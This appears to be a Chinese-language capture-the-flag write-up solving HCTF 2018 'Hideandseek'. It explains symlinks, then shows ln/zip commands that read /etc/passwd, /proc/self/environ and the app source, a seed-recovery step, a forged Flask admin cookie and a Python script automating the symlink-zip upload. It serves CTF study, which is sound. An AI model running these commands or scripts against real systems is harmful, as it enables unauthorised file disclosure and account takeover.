BUU [HCTF 2018]Hideandseek

BUU [HCTF 2018]Hideandseek

考点:

  1. 软连接读取任意文件
  2. Flask 伪造session
  3. /proc/self/environ文件获取当前进程的环境变量列表
  4. random.seed()生成的伪随机数种子
  5. MAC地址 (存放在/sys/class/net/eth0/address文件)

国赛的时候遇见过软连接,这次再来学习一下,也算是一个心病了。

先介绍一下什么是软连接。


Linux中包括两种链接:硬链接(Hard Link)软链接(Soft Link),软链接又称为符号链接(Symbolic link)。

【硬连接】

硬连接指通过索引节点来进行连接。在Linux的文件系统中,保存在磁盘分区中的文件不管是什么类型都给它分配一个编号,称为索引节点号(Inode Index)。在Linux中,多个文件名指向同一索引节点是存在的。一般这种连接就是硬连接。硬连接的作用是允许一个文件拥有多个有效路径名,这样用户就可以建立硬连接到重要文件,以防止"误删"的功能。其原因如上所述,因为对应该目录的索引节点有一个以上的连接。只删除一个连接并不影响索引节点本身和其它的连接,只有当最后一个连接被删除后,文件的数据块及目录的连接才会被释放。也就是说,文件真正删除的条件是与之相关的所有硬连接文件均被删除。硬链接说白了是一个指针,指向文件索引节点,系统并不为它重新分配inode。

【软连接】

软连接是linux中一个常用命令,它的功能是为某一个文件在另外一个位置建立一个不同的链接。实际应用是:当 我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在其它的 目录下用ln命令 链接(link)就可以,不必重复的占用磁盘空间。

索引节点(inode)

要了解链接,我们首先得了解一个概念,叫索引节点(inode)。在Linux系统中,内核为每一个新创建的文件分配一个Inode(索引结点),每个文件都有一个惟一的inode号,我们可以将inode简单理解成一个指针,它永远指向本文件的具体存储位置。文件属性保存在索引结点里,在访问文件时,索引结点被复制到内存在,从而实现文件的快速访问。系统是通过索引节点(而不是文件名)来定位每一个文件。


软连接用法:

创建软链接

ln -s [源文件或目录] [目标文件或目录]

bash 复制代码
//当前路径创建test 引向/var/www/test 文件夹 
ln --s  /var/www/test  test

//创建/var/test 引向/var/www/test 文件夹 
ln --s  /var/www/test   /var/test

删除软链接

bash 复制代码
//删除test
rm --rf test

修改软链接

ln --snf [新的源文件或目录] [目标文件或目录]

这将会修改原有的链接地址为新的地址

bash 复制代码
//创建一个软链接
ln --s /var/www/test /var/test

//修改指向的新路径
ln --snf /var/www/test1 /var/test

常用参数:

-f : 链结时先将与 dist 同档名的档案删除

-d : 允许系统管理者硬链结自己的目录

-i : 在删除与 dist 同档名的档案时先进行询问

-n : 在进行软连结时,将 dist 视为一般的档案

-s : 进行软链结(symbolic link)

-v : 在连结之前显示其档名

-b : 将在链结时会被覆写或删除的档案进行备份

-S SUFFIX : 将备份的档案都加上 SUFFIX 的字尾

-V METHOD : 指定备份的方式

--help : 显示辅助说明

--version : 显示版本


开始做题。

当前页面只有登录一个功能可以用,其他都不会跳转。尝试登录。

发现任意用户密码均可登录,但是唯独不能登录admin。

登录后有一个上传文件点。提示我们上传.zip后缀的压缩包。

随便上传一个.php试试水,发现只能上传.zip压缩包。

压缩包很容易让人想到软连接,尝试先随便上传一个.zip压缩包。没有任何回显。

然后上传一个内容为软连接的压缩包,尝试读取/etc/passwd文件。

linux中输入命令制作软连接压缩包。

bash 复制代码
ln -s /etc/passwd passwd
zip -y passwd.zip passwd

rm --rf passwd

然后上传,发现成功回显服务端/etc/passwd的内容。

那理论上来说,我们也能直接读取/flag的内容。但是尝试了一下却失败了。。。

猜测可能是权限不足,需要以admin身份登录才能有权限读取/flag。如何登录admin,信息搜集一下发现了session,服务端应该是通过session判断身份的,我们需要伪造session。同时,通过session判断出使用了flask的框架。

下载一个工具flask_unsign,文件夹内开终端。工具只能解密爆破不出密码,只能自己找了。

bash 复制代码
flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6IjExMSJ9.F9gzQg.rUpgzWsMZS-4g4XKmZ3GL1-bRPQ'

得到{'username': '111'}

伪造session需要secret_key,尝试找一下源码。

因为已经通过软连接读取任意文件,我们尝试读取/proc/self/environ文件,以获取当前进程的环境变量列表,包括flask下的环境变量。

解释以下,其中/proc是虚拟文件系统,存储当前运行状态的一些特殊文件,可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态,而/environ是当前进程的环境变量列表。

bash 复制代码
ln -s /proc/self/environ self
zip -y self.zip self

rm --rf self

成功读取/proc/self/environ文件后。

我们注意到UWSGI_INI=/app/uwsgi.ini。也就是uwsgi服务器的配置文件,其中可能包含有源码路径。

client ---> nginx ---> uwsgi --> flask后台程序 (生产上一般都用这个流程)

我们以同样的方式制作软连接读取

bash 复制代码
ln -s /app/uwsgi.ini uwsgi
zip -y uwsgi.zip uwsgi

rm --rf uwsgi

得到源码路径,但是BUU环境有问题,这种做法当时比赛读到的源码路径是/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py,我们也以这个路径来做题,继续软连接读取源码。

bash 复制代码
ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py main
zip -y main.zip main

rm --rf main

Ctrl+U看得更加清楚一点。

python 复制代码
 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

浏览源码,SECRET_KEY是由python的随机函数random()生成的,种子是uuid.getnode()。和PHP一样,python的random()函数也是伪随机数,只要我们知道了种子uuid.getnode()是多少,拿到随机数生成的密钥SECRET_KEY不是问题。

python中uuid.getnode()方法以48正整数 形式获取硬件地址,也就是服务器的MAC地址。

现在的逻辑是这样的。MAC地址=》随机数种子=》SECRET_KEY=》伪造session=》admin登录=》flag。

查找到MAC地址 存放在/sys/class/net/eth0/address文件中,软连接读取该文件:

复制代码
ln -s /sys/class/net/eth0/address mac
zip -y mac.zip mac

rm --rf mac

也有其他方法找mac地址:

c6:1b:39:ac:ff:91c61b39acff91转十进制是217820234055569

本地跑一下密钥就出来。是76.9034879300039

kali中flask_session_cookie_manager3工具文件夹下开终端。

复制代码
python flask_session_cookie_manager3.py encode -s "76.9034879300039" -t "{'username': 'admin'}"

得到eyJ1c2VybmFtZSI6ImFkbWluIn0.ZPaw7Q.seTwvDjojrAUhJXF998kV7QYEKY

成功登录admin账号,也不用再读取flag了,直接给了。


找到一个软连接脚本:

python 复制代码
import os
import requests
import sys


def make_zip():
    os.system('ln -s ' + sys.argv[2] + ' test_exp')
    os.system('zip -y test_exp.zip test_exp')


def run():
    make_zip()
    res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
    print(res.text)

    os.system('rm -rf test_exp')
    os.system('rm -rf test_exp.zip')


if __name__ == '__main__':
    run()
相关推荐
_WndProc5 分钟前
【Python】Flask网页
开发语言·python·flask
互联网搬砖老肖7 分钟前
Python 中如何使用 Conda 管理版本和创建 Django 项目
python·django·conda
测试者家园18 分钟前
基于DeepSeek和crewAI构建测试用例脚本生成器
人工智能·python·测试用例·智能体·智能化测试·crewai
大模型真好玩22 分钟前
准确率飙升!Graph RAG如何利用知识图谱提升RAG答案质量(四)——微软GraphRAG代码实战
人工智能·python·mcp
Brookty23 分钟前
【MySQL】JDBC编程
java·数据库·后端·学习·mysql·jdbc
前端付豪30 分钟前
11、打造自己的 CLI 工具:从命令行到桌面效率神器
后端·python
前端付豪30 分钟前
12、用类写出更可控、更易扩展的爬虫框架🕷
后端·python
江太翁40 分钟前
Pytorch torch
人工智能·pytorch·python
mooyuan天天1 小时前
DVWA靶场通关笔记-文件上传(Medium级别)
web安全·文件上传·文件上传漏洞·dvwa靶场·文件上传mime
先做个垃圾出来………1 小时前
SQL的底层逻辑解析
数据库·sql